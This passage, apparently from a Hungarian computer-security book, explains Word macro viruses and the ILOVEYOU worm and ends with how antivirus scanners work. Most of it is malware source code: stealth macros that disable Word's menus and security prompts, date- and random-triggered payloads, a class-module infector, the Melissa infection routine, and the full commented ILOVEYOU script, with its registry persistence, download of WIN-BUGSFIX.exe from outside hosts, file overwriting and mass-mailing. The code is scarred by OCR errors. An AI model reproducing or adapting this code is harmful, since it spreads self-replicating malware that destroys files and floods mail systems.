Ezzel a paranccsal kikapcsolja a párbeszédablakot, amely alapértelmezésben rákérdez a *Normal.dot* mentésére, így anélkül lehet megváltoztatni a *Normal.dot-ot,* hogy azt a felhasználó észrevenné. Fontos még: mivel ennek a funkciónak a kikapcsolása a háttérben történik, a hiányát csak az veszi észre, aki jól kiismeri magát a Wordben.

A rejtőzködéshez bizonyos menüparancsok kikapcsolása is fontos, ami megvalósítható néhány programsorral.

```
Sub ToolsMacro( )
On Error Resume Next
End Sub
```
Ha a felhasználó az *Eszközök/Makró/Makrók-ra.* kattint, lefut ez a *sub.* A felhasználó nem láthatja a párbeszédmezőt.

```
Sub FileTemplates( )
On Error Ressume Next
End Sub
```
A felhasználó nem tudja elindítani a *Sablonok és bővítmények* ablakot.

```
SubViewVBCode( )
On Error Resume Next
End Sub
```
A felhasználó nem tudja elindítani a VB editort.

```
Sub
WordBasic.DisableAutoMacros = 0
End Sub
```
Az automakrók inaktívvá válnak.

A Word kérdését, hogy a makrókat lefuttassa-e, a következő paranccsal lehet kikapcsolni a *Registry-ből.*

```
System.PrivateProfileString("","HKEY_CURRENT_USER\Software\
  Microsoft\Office\9.0\\Word\SecTírity",  „Levél")  =  /&
```

A Programhiba esetén az O*n Error Resume Next* -tel egyszerűen továbbfut.

5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg

Hogy a vírus ne legyen azonnal aktív, egy folyamatellenőrzési lehetőséggel is fel van ruházva. A *fertőzésszámláló* pontosan ezt a lehetőséget kínálja. Ehhez el kell helyezni egy kulcsot valahol a *Registry-ben,* azután nullánál megtörténik a gonoszkodás. Ugyanígy egy bizonyos napot is lehet használni. A megfelelő kódsorok egyszerű *If*lekérdezések.

```
If Month(Now( )) = 1 And Day(Now( ) = 1 Then Call Payload
'Ha az aktuális dátum január L, akkor menj a payloadra.
If Month(Now( )) = 1 And Day(Now( ) = 1 Then Call Payload
'Ha az aktuális dátum január 2., akkor menj a Payloadra.
```

Természetesen a rendszeres összehasonlítás egy véletlenszámmal is lehetséges. Ha a szám és a változó megegyeznek, akkor következik be az esemény:

```
x=Int(Rnd * 100)
'X egy változó, amely egy 0-100 közti számot tartalmaz.
Ifx = 3 then Call Payload
'Ha x, menj a Payloadra.
```

5.5.6 A vírus fájltulajdonságokat vagy szövegtartalmakat változtat meg

A *Payload* mögött különféle ténykedések rejtőzhetnek, amelyeket az időzített kioldó vált ki. Például megváltozhatnának a dokumentum-tulajdonságok: hirtelen egy Dagobert kacsa írta a levelet vagy ilyesmi:

```
Sub Payload( )
ActiveDocument.ReadOnlyRecommended = False
With Dialogs(wdDialogFileSummaryInfo)
.Author = "Szerző"
.Title="Cím"
.Subject = "Tárgy"
.Comments = "Megjegyzések"
.Keywords = "Keresőszó"
.Execute
End With
End Sub
```

Ugyanígy szavakat is kicserélhetünk Word parancsok segítségével. A kedvelt *Keresés-Csere* funkció most a vírust segíti:

```
Sub Payload( )
On Error Resume Next
Selection.HomeKey Unit:=wdStory
Selection.Find.Replacement.ClearFormatting
With Selectíon.Find
.Text = "Mit keres" 'a cserélendő szöveg
.Replacement.Text = "Mire cseréli" 'amire cseréli
.Forward=True
.Wrap = wdFindContinue
.Format = False
.MatchCase = False
.MatchWholeWord=True
.MatchAllWirdForms = False
End With
Selection.Find:ExecuteReplace:=wdReplaceAll
CommandBars("edit").Controls("UndoVBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat" Replace...").Delete
CommandBars("edit").Controls("Replace... ").Delete
IfActiveDociment.Saved = False Then ActiveDocument.Save
End Sub
```

5.5.7 A vírus jelszóval védi a fájlt

A jelszavas védelmet is be lehet kapcsolni egy makrovírussal:

```
Sub Payload( )
ActiveDocument.Password = "hallo"
'Persze lehet véletlenszerű jelszót is csinálni.
End Sub
```

Ezentúl biztosan másképpen fogják kezelni a Word-figyelmeztetést. A vírusvizsgálónk legyen mindig a legfrissebb, és használjuk minden alkalommal, ha kapunk egy Word vagy Excel dokumentumot. Sajnos, egyes vírusprogramozók sportot űznek abból, hogy mindig új fertőzési módokat találjanak ki. Százszázalékos védelem nem létezik, de hatékony megelőzés azért lehetséges.

5.6 Megfertőzött osztálymodulok

A WinWord dokumentumok megfertőzésének egy másik módja az *osztálymodulok megfertőzése,* ami sokkal nehezebbé teszi a vírus felfedezését. Az osztálymodulok bizonyos mértékig saját meghatározású *vezérlőelemek,* amelyeknek magunk írhatjuk a forráskódját. Az osztálymodulok ezért ugyanazokkal a tulajdonságokkal rendelkeznek, mint a vezérlőelemek, vagyis egy objektumot definiálunk tulajdonságokkal és eljárásokkal. Az osztálymodulok abban különböznek a felhasználó által meghatározott vezérlőelemektől, hogy kvázi „láthatatlanok".

Az osztálymodulok a felhasználó számára nem olyan könnyen felismerhetők, mert a makrókhoz és sablontartalmakhoz tartozó *Makró* és a *Szervező* ablakban nem mutatja őket a program. Aki szeretne utánanézni, úgy találja meg ezt a párbeszédablakot, ha az *Eszközök/Makró/Makrók Szervezőre* kattint.

Az osztálymodulok megfertőzésének a stratégiája más, mint az eddig bemutatott makróvírusoké: itt már nem exportálnak és importálnak egy kódot minden jövendőbeli Word fájlba, vállalva a felfedezés veszélyét, hanem beolvassák a kódot, és ezt a sztringet illesztik be egy másik osztálymodulba. A víruskód

megnyitáskor láthatatlanul integrálódik minden további dokumentumba. A programozás stuktúrájához egyszerűen azt kell elképzelni, hogy a vírus végrehajtódik, és csak a dokumentumban vagy a *Normal.dot-ban* lehet. A kód beolvasásához tehát ki kell találni, hogy hol vagyunk, abból azután már logikusan következik, hogy mit kell megfertőzni.

íme egy példavírus, kommentárokkal a kódban, hogy világossá tegye a mögötte rejlő meggondolásokat.

```
Private Sub Document_Open( )
' Ez a Sub mindig lefut, ha egy dokumentumot megnyitnak.
' Figyelembe kell venni, hogy a SUB Priváté. Egy osztálymodulban mindennek
' Private-nak kell lennie. Ha ezt valaki elfelejti, annak fertőzésnél azonnal hibát jelez.
' A Sub neve is megváltozott. Most Document_Open( ) a neve, nem pedig
'AutoOpen( ).

On Error Resume Next
' a szokásos történet a hibával

MyPos = ThisDoaiment.Name
' Mivel nem tudjuk, hol vagyunk (a Normal.dot-ban vagy a dokumentumban)
'a ThisDocument.Name adja a választ

If MyPos = „Normal.dot" Then
Set Source =
NormalTemplate.VBProject.VBComponents(l).CodeModule
Set Target = ActiveDocument. VBProject. VBComponents(l).CodeModule
'Ha a Normal.dot-ban vagyunk, tudjuk, hogy az aktuális dokumentumot kell
' megfertőzni, és hogy a víruskód a Normal.dot-ból jön.
' Létrehozzuk a változóinkat. De lehetséges, hogy már az aktuális dokumentum is
' fertőzött. Ezt ebben a példában nem ellenőrizzük,
' mert minden kód megfertőzésénél azok, amelyek előzőleg ott voltak, törölve
' lesznek. Így ez csak elpazarolt processzoridő. Ez azonban azt is jelenti,
' hogy ha ott egy másik vírus volt, ezt az új felülírja.
' ActiveDocument.VBProject.VBComponents( l). CodeModule
' Az indexszám 1 a VBComponents(l)-nél mindig a „ThisDocument" osztálymodul,
' amelyet meg kell fertőzni.
Else
' ha nem a Normal.dot-ban vagyunk, már csak egy lehetőség marad hátra
Set Source = ActiveDocument. VBProject. VBComponents(1).CodeModule
Set Target =
NormalTemplate.VBProject.VBComponents(1).CodeModule
End If

With Source
    VirCode = .Lines(l, .CountOflines)
End With
' Ha egy objektumot egy With...End With-blokkba zárunk, akkor nincs szükség
' az objektumnév ismétlésére.
' Tehát ott van, hogy Source.Lines(l, Source.CountOflines)
' Most a teljes víruskód a VirCode-ba lesz beolvasva.
' Source.CountOflines adja vissza a sorok/Lines számát a modulban.
' .Lines(az 1. sortól beolvasni, annyi sort, amilyen hosszú a modul),

With Target
  .DeleteLines 1, .CountOflines
  ' A megfertőzendő fájlban minden sort törölni kell. Az 1. sortól kezdve,
....' annyi sort kell törölni, amilyen hosszú a modul.
....' Ezzel biztosak lehetünk abban, hogy ott már semmi sincs. Ha a vírus ott már
....' megtalálható lenne, és beírjuk a modulba, anélkül, hogy előzőleg törölnénk
  ' a sorokat, az hibaüzenethez vezetne.
  .InsetLines l, VirCode
  ' A beolvasott sztring beillesztése a modulba.
  ' Az 1. sortól kezdve, és VirCode a sztring.
End With
```

Egy igazi vírus persze sokkal nagyobb ennél, és még Stealth-funkciókat is tartalmaz.

Az alábbiakban egy példával világítjuk meg, hogyan fertőzi meg az osztálymodulatokat *a Melissa:*

```
CUT HERE
Priváté Sub Document_Open( )
On Error Resume Next
Set ASI1 = ActiveDocument.VBProject.VBComponents.Item(l)
'Állítsd ADIl-et ActiveDocument.VBProject.VBComponents.Item(l)
  -re.
Set NTI1 NormalTemplate. VBProject. VBComponents.Item(l)
'Állítsd SetNTIl-et
NormalTemplate,VBProject.VBComponents.Item(l)-re.
NTCL = Hni.CodeModide-.CountOfLims
ADCL = ADIl.CodeModule.CountOfLines
BGN =2
IfADILName <> "Melissa" Then
IfADCL>OThen_
ADIl.CodeModule.DeleteLines l, ADCL
SetToInfect = ADIl
ADILName = "Melissa"
DoAD = True
End If
If NTILName <> "Melissa" Then
If NTCL >0 Then _
NTIl.CodeModule.DeleteLines l, NTCL
SetToInfect=NTIl
NTILName = "Melissa"
DoNT=True
End If
IfDoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then

Do WhileADIl.CodeModule.Lines(1, 1) =""
ADIl.CodeModule.DeleteLines l
Loop
ToInfect.CodeModule.AddFromString ("Private Sub
  Document_Close()")
Do While ADIl.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN,
ADIl.CodeModule.Lines(BGN, 1)
BGN = BGN + l
Loop
End If
If DoAD = True Then
Do While NTIl.CodeMOdule.Lines(1, 1) = ""
NTIl.CodeModule.Lines
Loop
ToInfect.CodeModule.AddFromString ("Private Sub
Document_Open()")
Do While NTIl.CodeModule.Lines(BGN, 1) <> ""
ToInfectCodeModule.InsertLines EGN,NTIl.CodeModule.Lines(BGN, 1)
BGN = BGN +l
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(l, ActiveDocumentName,
  "Document") = False) Then
ActiveDocument.SaveAsFileName:=ActiveDocument.FullName
Elself (InStr(l, ActiveDocumentName, „Document") <> False) Then
ActiveDocument.Saved=True
End If
End Sub

CUT HERE
```

5.7 ILOVEYOU

A *LoveLetter* egy *VBS-féreg (Vimal Basic Script)* amely e-mailen keresztül terjed, mellékletként. A LoveLettert először 2000. május 4-én jelezték. Néhány órán belül világszerte elterjedt, és a hálóra csatlakoztatott cégek 90% -át megfertőzte. Most minden idők egyik legveszélyesebb vírusát fogjuk alaposabban szemügyre venni.

5.7.1 Mi az a féreg?

A féreg egy darabkányi kód, amely magától terjed az interneten vagy a helyi hálózaton keresztül. A vírussal ellentétben a féreg nem közvetlenül rombol. A féreg, mint az ILOVEYOU esetében, legfeljebb magas forgalmat (traffic) generál.

5.7.2 A működési mód

Az ILOVEYOU féreg egy weboldalról töltött le egyes bannereket, amelyeket azonban hamarosan nem lehetett elérni, mivel a Fülöp-szigetek-i szolgáltató, a *Sky Internet Inc.,* gyorsan kapcsolt, és törölte a webhelyet.

Ugyanott a féreg a *WIN-BUGSFIX* programot is le akarta tölteni, amely jelszavakat kémlel ki, és ezeket *Access Net* accountokra kellett volna küldenie, ezzel az üzenettel: *Bárok...e.mail.passwords.send.er.trajan-by spyder.*

A féreg manipulálta még a következő Registry-bejegyzéseket:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\MSKernel32
HKEY_LOCAL_MACHINE\Sofrware\Microsoft\Windows\CurrentVersion\Run
Services\Win32DLL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
\WIN-BUGSFIX

Miután lefuttatták, automatikusan elküldte magát a címjegyzék e-mail-címeire. Így nagy forgalom keletkezett a cégek belső hálózati mailszerverein, aminek következtében néhány céges hálózatnak teljes egészében le kellett mondania a mailküldésről.

A féreg az Outlookon és a mIRC-en keresztül is terjedt. Úgy módosította a mIRC *script.ini* fájlját, hogy egy csatorna minden látogatója, amelyek között ott volt a fertőzött is, megkapta a *.vbs* fájlt,

A legdestruktívabb azonban az a tény volt, hogy minden *js, .jse, .css, .wsh, .sct, .hta, .vbs, .jpeg, .jpg* fájlt használhatatlanná tett, illetve elrejtette az *.mp3* és az *.mp2* fájlokat.

Miközben a féreg aktív volt, a *Taskmanager-en* is megjelent mint w_*srcipt*. Ebben az esetben gyorsan be kellett zárni ezt a feladatot, vagy a gépet is rögtön kilőni!

A féregnek egy variánsa aktiválta a jelszó cache-elést, és ezután a cache-elt jelszavakat elküldte mailben.

Az eddig ismert változatok:

- ILOVEYOU
- Susitikim shi vakara kavos puodukui...
- Joke
- Mothers Day Order Confirmation
- Dangerous Virus Warning
- Vírus ALERT!!!
- Important! Read carefully!!
- I Cant Believe This!!!
- Thank You For Flying With Arab Airlines
- Variant Test
- Yeah, Yeah another time to DEATH...
- LOOK!
- How to protect yourself from the ILOVEYOU bug!

Az *Amable Mendoza Aguila Computer College-ben,* a *Spyder* nevet használó hacker munkahelyén 10 személyt gyanúsítottak azzal, hogy részt vettek a *Bárok 2.1* szoftver fejlesztésében.

Időközben a hackereknek volt idejük, hogy minden döntő bizonyítékot töröljenek a gépeikről, míg a hatóságok napokon át semmit sem tettek.

A féreg, hivatalos számok szerint, 600 ezer számítógépet ért el, a nem hivatalos számok azonban ennél jóval magasabbak, mivel ezekbe a statisztikákba nem kerülnek be a magánfelhasználók gépei. A károkat több milliárd dollárra becsülték, s ez az érintett szerverek tisztán materiális kiesési ideje, a rendszergazdák félelmeit és feldühítését még egyáltalán nem számoltuk. Két prominens áldozat is volt: a *ZDF tévéadó* és az *Expo-világkiállítás.* Sok cég megelőzésképpen leválasztotta mailszerverét a netről.

Az eset egyedüli nyertesei az antivírusok gyártói voltak, akiknek a részvényei 10%-kal is emelkedtek.

5.7.3 Hogyan tudott a féreg elterjedni?

A féreg terjedésének az alapja az volt, hogy manapság, főleg az internetes újoncokban, nem tudatosulnak a hálóval kapcsolatos veszélyek.

Ennek a féregnek semmi esélye sem lett volna, ha minden végfelhasználó tudott volna a *Visual Basic Script* veszélyeiről.

Sokan azt hitték, hogy csak a végrehajtható fájlok, mint az *.EXE* vagy a *.COM* fájlok jelenthetnek veszélyt. Az, hogy ActiveX-kontrollok és más scriptek is veszélyesek lehetnek, még nem ismert általánosan. Az *ILOVEYOU vírus* téma a múltban nagyon gyakran szerepelt a médiában, de sehol nem jelent meg róla még felvilágosítás, nemhogy egy analízis háttérinformációkkal a felhasználók számára.

Ellenintézkedésként ajánlkozik a *WindowsScripting hostok* eltávolítása *uninstall-lal,* és a *Registry-bejegyzések* eltávolítása, valamint a **.vbs* fájlok törlése a *Windows* és a *Windows/System* könyvtárból.

5.7.4 A forrás - kommentárokkal

A továbbiakban az ILOVEYOU vírus forráskódja látható, de hangsúlyozzuk, hogy ebben a formájában *teljesen hatástalan.* A célja csak a felépítés bemutatása és kommentálása sorról sorra. A vírus a Windows Scripting Host-tal hajtódik végre.

```
rem barok -loveletter(vbe) <i hate go to school>
rem       by: spyder / ispyder@mail.com / ©GRAMMERSoft Group /
   Manila,Philippines
```

Ezek a sorok csak szerzői kommentárok, tehát a szerző mailcíme és álneve, a vírus működésére nincs semmilyen hatásuk.

```
On Error Resume Next
dimFSO,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
```

Az O*n Error Resume Next-tel* a hibakezelést vezeti be: ha a program futtatása közben hiba lép fel, akkor a következő lépéssel kell folytatni, hibaüzenet nélkül. Ezután definiál néhány változót, ezekkel a változókkal fog a későbbiekben dolgozni.

```
Set so = CreateObject("Scripting.FileSystemObject")
set file =fso. Open TextFile (Wscript. ScriptFullname, 1)
vbscopy=file.ReadAH
```

A program ezután egy *FileSystemObject-et* (fso) hoz létre. Ezzel az objektummal lehet fájlokat elérni. A következő sorban ez meg is történik: a program az *OpenTextFile-lal* és az azután következő *ReadAll( )* -lal beolvassa magát a memóriába.

```
main()
sub main( )
On Error Resume Next
dim Tvscr,rr
setivscr=CreateObject("Wscript.Shell")
rr=scr.Regread("HKEY_CURRENT_USER\Software\Microsoft\Windows
   ScriptingHost\Settings\Timeout")
if (rr>=l) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows
   Scripting Host\Settings\Timeout",0, "REG_DWORD"
end if

Set dirwin =fso.GetSpecialFolder(0)
Set dirsystem =fso.GetSpecialFolder(l)
Set dirtemp =fso.GetSpecialFolder(2)
Set c =fso.GetFile(Wscript.ScriptFullName)

c. Copy(dirsystem& "\MSKernel32.vbs")
c.Copy(dirwin& "\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

regruns()
html()
spreadtoemail()
listadriv()
end sub
```

Innentől kezdődik a vírus főrutinja.

Először a *CreateObject()*-tel egy *Shell* objektumot hoz létre - ez az objektum teszi lehetővé a Windows különböző funkcióinak az elérését. Ki lehet például olvasni a *Registry-t,* és írni lehet bele, ami később meg is történik.

A *Set* parancsokkal kérdezi le a program a Windows könyvtárait *(dirwin),* valamint *a Windows/System (dirsystem)* könyvtárat, hogy azután a maga egyik másolatát tegye le a következő neveken: *MSKernel32.vbs, Win32DLL.vbs,* illetve *LOVE-LETTER-FOR-YOU.TXT.vbs.* Ezek a fájlok tehát kizárólag a vírust tartalmazzák.

Mikor a vírus így bemásolta magát, hozzákezd az igazi feladatához, amihez a következő függvényeket hívja meg: *regruns(), html(), spreadtoemail() és listadriv( ).*

A *html( )* egy helyi HTML-fájlt helyez el, amely valójában még egyszer tartalmazza a vírust, és ezt indításkor végrehajtja.

A többi funkciót a forrásszöveg folyamatában magyarázzuk el, a működési módjukkal együtt.

```
sub regruns( )
  On Error Resume Next
  Dim num,downread
  regcreate
 "HKEY__LOCAL_MACHINE\Software\Microsoft\Windows\
    CurrentVersion \Run \MsKernel32 ",dirsystem&"\MSKernel32.vbs"
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\
    CurrentVersion \RunServices\Win32DLL ",dirwin8í "\Win32DLL.vbs"
 downread=""
 downread=regget("HKEY_CURRENT_USER\Software\Microsoft\
    Internet Explorer\Download Directory")
 if(downread="") then
 downread="c:"
 en if
 if<fíleexist(dirsystem&"\WinFAT32.exe")=l)    then
 Randomize
 num = Int((4 * Rnd) +1
 if num = 1 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
    Page", "http://www.skyinet. net/
    ~yotmg l
    s/HJKjnwerhjkxcvytwertnMTFwerdsfmhPnjw6581345gvsdfl619njbvYT/
    WIN-BUGSFIX.exe
 elseif num = 2 then
 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
    Page", "http://www.skyinet.net/
    ~angelcat/skladjflfdjghKJnmtryDGFikjUlyqwrWe546786324hjk4jnHH
    GbvbmKL/
    JKjhkqj3w/
 WIN-BUGSFIX.exe"
  elseif num = 3 then
  regcreate "HKCU\Sofrivare\Microsoft\InternetExplorer\Main\Sart
    Page", "http://www.skyinet.net/
    ~koichi/jf6TrjkcbGRpGqaql98vbFV5hfFEjbopBdQZnmpOhfgER61b3Vlrvg/
 WN-BUGSFIX.exe"
  elseif num = 4 then
  regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Sart
    Page", "http://www.skyinet. net/~chu/
    sdgfhjksdfiklNBmnfgkKLHjkq'wtiiHJBhAFSDGjkhYUgq'werasdjh
    PhjasfdglkNBhbq'webmznxcbvnmadshfgq'w23146I234iiiylthjg/
    WIN-BUGSFIX.exe
 end if
 end if

 if (fileexist(dovmread&"\WIN-BUGSFIX.exe")=0) then
 regcreate
 "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
    Version\Run \ WIN-BUGSFIX",downread& "\WIN-BUGSFIX.exe"
 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
    Explorer\Main \Sart
Page",
  "about:blank"
  end if
end sub
```

A *regruns()* funkciónak különböző feladatai vannak a *Registry-ben.*

A *CurrentVersion/Run* alatt két kulcsot hoz létre, mindkettő a vírus előzőleg létrehozott másolatára mutat, *MSKernel* és *Win32DLL* név alatt.

A *Run* alatti bejegyzések a Windows indításakor automatikusan lefutnak. Ez azt jelenti, hogy a következő rendszerindításkor a vírus ismét elindul, és újból kezdi a működését. Ezután a vírus az Internet cache-t keresi, tehát azt a könyvtárat, amelybe a megfelelő fájlokat tölti az *Internet Explorer*. Ha a vírus nem talál cache-t, egyszerűen a C:-t használja.

Most a program megváltoztatja az *Internet Explorer* kezdőlapját, ehhez négy különböző oldal szolgál választékul, amelyek közül véletlenszerűen választ ki egyet. Minden oldal a *skyinet.net* egyik szerverére vezet. Erről az oldalról azután még egy további fájlt is automatikusan letölt a vírus, ez a fájl megintcsak bejegyzi magát a *Registry-be,* úgy, hogy a következő Windows-indításnál végrehajtódik, s támogatja a vírus működését.

Röviddel az ILOVEYOU megjelenése után azonban a *skyinet.net* lépett, és eltávolította a szerverről a megfelelő oldalakat.

```
sub listadriv
  On Error Resume Next
  Dim d,dc,s
  Set dc =fso.Drives
  For Each d in de
  Ifd.DriveType = 2 or d.DriveType=3 Then
 folderlist(d.patb&"")
  end if
  Next
  listadriv =s
end sub
```

Ez a függvény minden meghajtót kilistáz, és ezután meghívja a *folderlist* függvényt, amely a meghajtókon található minden mappát megdolgozza.

```
sub folderlist(folderspec)
  On Error Resume Next
  dimf,f1,sf
  set f=fso. GetFolder(folderspec)
  set sf=f.SubFolders
 for each f1 in sf
  infectfiles(f1.path)
 folderlist(f1.path)
  next
end sub
```

Minden mappán végrehajtja az *InfectFiles* funkciót. Ez a funkció a mappák egyes fájljait szerkeszti, s hogy pontosan mit is tesz, az majd később következik.

Minden fájlt felsorol, amelyet meg fog fertőzni:

```
sub infectfiles(folderspec)
 On Error Resume Next
 dimf,f1,fc, ext, ap, mircfname,s, bname, mp3
 set f=fso. GetFolder(folderspec)
 set fc =f.Files
for each f1 in fc
 ext=fso. GetExtensionName (f1 .path)
 ext=Icase(ext)
 s=Icase(f().name)
 if (ext="vbs") or (ext="vbe") then
 set ap=fso.OpenTextFile(f0).path,2,true)
 ap.write vbscopy
 ap.close
 elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (Ext="sct") or
   (ext="hta") then
 set ap=fso. OpenTextFile(f1.path, 2, true)
 ap.write vbscopy
 ap.close
 bname=fso.GetBaseName (f1.path)
 set cop=fso.GetFile(f0.path)
 cop.copy(folderspec& ""&bname& ".vbs")
fso.DeleteFile(f().path)
 elseif(ext="jpg") or (ext="jpeg") then
 set ap=fso.OpenTextFile(f1.path, 2, true)
 ap.write vbscopy
 ap.close
 set cop=fso.FetFile(f1.path)
 cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
 elseif(ext="mp3") or (ext="mp2") then
 setmp3=fso.CreateTextFile(f1.path&",vbs")
 mp3.write vbscopy
 mp3.close
```

```
set att=fso.GetFik(f1.path)
att.attrihites=att.attributes+2
end if

if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini")
   or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec& "\script.ini")
script.ini.WriteLine "[script]
script.ini.WriteLine ";mIRCScript"
script.ini. WriteLine "; Please dont edit this script... mIRC will corrupt, if
   mIRCwill"
script.ini. WriteLine " corrupt... WINDOWS will affect and will not run
   correctly. thanks"
script.ini.WriteLine ";"
script.ini.WriteLine ";KhaledMardam-Bey"
script.ini.WriteLine ";http://www. mirc. com "
script.ini.WriteLine ";"
script.ini.WriteLine "n0=on 1:JOIN:#:{„
script.ini.WriteLine "n1=/if(==) {halt}"
script.ini.WriteLine "n2=/.dcc send
"&dirsystem&\LOVE_LETTER_FOR_YOU.HTM"
script.ini.WriteLine "n3=}"
script.ini.close
eq=folderspec
end if
end if
next
end sub
```

Az *InfectFiles* -nak két feladata van,

1. Megkeres minden, megadott kiterjesztésű *(.js, .wsh, .css* stb.) fájlt, és a saját magáról készített másolattal írja felül ezeket.

2. Ha talál egy *mIRC-et (Chat Scriptet),* akkor felülírja a *script.ini-t.* Ez a script, ha lefut, ugyancsak a vírust terjeszti úgy, hogy egy *LOVE_LETTER_FOR_ YOU.HTM nevű* fájlt küld a csatorna minden felhasználójának.

A következő függvények segédfüggvények, amelyeket a program más pontjain használ fel. Ezek a függvények egy *Registry-bejegyzést* készítenek, és ellenőrzik, hogy léteznek-e bizonyos fájlok vagy mappák.

```
sub regcreate(regkey,regualue)
  Setregedit=CreateObject("Wscript.Shell")
  regedit.RegWrite regkey,regvalue
end sub

function regget(value)
  Set regedit = CreateObject("Wscript.Shell")
  regget=regedit.RegRead(value)
end function

function fileexist(filespec)
  On Error Resume Next
  dim msg
  if (fso.FileExist(filespec)) Then
  msg = 0
  else
  msg = 1
  end if

 fileexist = msg
end function

function folderexist(folderspec)
  On Error Resume Next
  dim msg
  if (fso.GetFolderExist(folderspec)) then
  msg = 0
  else
  msg = l
  end if
 fileexist = msg
end funrtion

subspreadtoemail()
  On Error Resume Next
  dimx,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
```

```
setregedit=CreateObject("Wscript.Sheir)
set out=WScript.CreateObject("Outlook.Application")
set  mapi=out.  GetNameSpace("MAPI")
for  ctrlists=1  ro  mapi.AddressLists.Count
set  a=mapi.AddressLisets(ctrlists)
x=l
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\
   WAB"&a)
if(regv="")  then
regv=l
end  if
if(int(a.AddressEntries.Count>inr(regv))  then
for  ctrentries=l to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
 regad=regedit.RegRead("HKEY_CURRENT_USER\Software\
   Microsoft\WAB"&malead)
if(regad="")  then
set male=out.Createltem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body  =vbcrlf&"kindly  check  the  attached  LOVELETTER  comingfrom
   me."
male.Attachments.Add(dirsystem&   "\LOVE-LETTER-FOR-YOU.  TXT.
   vbs")
male.Send
regedit.RegWrite
   "HKEY_CURRENT_USER  \Software  \Microsoft\WAB"&malead,  1,
   "REG_DWORD"
endif
x=x+l
next
regedit.RegWrite
   "HKEY_CURRENT_USER\Software\Microsoft\WAB"&:a,a.
   AddressEntries.Count
endif
next
  Set out=Nothing
  Set mapi=Nothing
end sub
```

A *SpreadToEmail()* függvény megnyitja a programot, amelyben a Windows minden mailcímet tárol, tehát a címjegyzéket *(WAB.EXE),* hogy azután a címjegyzékben talált minden címre elküldje a vírus másolatát.

Ez a program tulajdonképpeni terjedési módja: lefut, és elküldi magát minden címre, amit talál. Csak ezért tudott ennyire gyorsan elterjedni.

Amint látjuk, az *ILOVEYOU,* az egyszerűsége ellenére, igazán komplex funkciókkal van felszerelve. A kár, amelyet a felhasználóknál hátrahagyott, többnyire csekély, csak különböző script-fáljokat írt át. Az internet-, illetve mailszolgáltatók kára viszont - a feldolgozhatatlan mennyiségű e-mail miatt - milliós volt.

5.8 Hogyan működnek a vírusvizsgálók?

A *vírusvizsgáló* egy adatbázist használ, amely minden felismerhető vírus nevét és lenyomatát tartalmazza. A legtöbb vírusvizsgáló frissítésekkel folyamatosan bővíti az adatbázisát, ehhez a szoftver gyártói saját víruslaborokat tartanak fenn, úgynevezett nyomozócsapatokat foglalkoztatnak, és látogatják az idevágó newsgroupokat, hogy folyamatosan tudjanak reagálni az új fenyegetésekre.

5.8.1 Szkennermodul

A *szkennermodul* a vírusok felkutatásáért felelős a merevlemezen. A szkenner ellenőrzi egy fájl vagy egy program kódját. Ha a szkenner megváltoztatott kódot vagy valamilyen egyéb eltérést észlel, akkor ezt összehasonlítja az adatbázis lenyomataival, hogy megállapítsa a víruskódokkal való egyezést. Az eljárás neve *Pattern Matching.* A szkennermodul a vírusok sztringjeit és viselkedési módját is felismeri, és ezzel potenciálisan olyan vírusokat is leleplezhet, amelyek még nincsenek benne az adatbázisban. Az ilyen szkennelésnél a hibaszázalék magasabb, mint a normál víruskeresésnél.

5.8.2 Víruspajzs

A *víruspajzs* egy memóriarezidens, a háttérben működő szkenmodul. Úgy van beállítva, hogy valós időben, folyamatosan kövesse a felhasználók minden fájlelérését. Ha egy fájlt elindítanak, kijelölnek, átnevezik vagy letöltik a hálóról, a víruspajzs azonnal megvizsgálja, és ha szükséges, jelentést tesz. A hátránya, hogy a vírusprogramtól függő mértékben visszafogja a rendszerteljesítményt.

5.8.3 „Fertőtlenítő"

Ha a szkenner vírust talál, ez a modul lép akcióba. Ennek a modulnak, a fertőzéstől függően, különböző opciói vannak a vírus eltávolítására. Vagy megtisztítja a fájlt a vírustól, vagy elkülöníti, azaz áthelyezi egy „karanténkönyvtárba", vagy törli a fájlt, ha nincs rá lehetősége, hogy valamiképpen megtisztítsa.

5.8.4 A vírusvédő program kiválasztásának a szempontjai

Hogy mennyit akarunk vagy kell ráfordítanunk egy-egy virusvizsgálóra, az attól függ, hogy milyen nagy a fertőzés kockázata, és mennyibe kerülne az adatok újbóli előállítása.

A következő szempontokra kell ügyelni:

- A kínált programfrissítési gyakoriság (legjobb hetente egyszer)
- Az ügyféltámogatás minősége
- Szkennelési sebesség
- Szkennelési minőség
- Lehetséges-e a szkennelés a háttérben, vagy a szkennelés leállítja a rendszert?
- Felismeri-e a program a vírusokat már letöltés közben?
- Meg tudja-e találni a szoftver tömörített fájlokban is a vírusokat?
- Tudja-e ellenőrizni az e-mailhez csatolt fájlokat (attachments) már az elindításuk előtt?

A kezelése kényelmes, vagy feleslegesen bonyolult?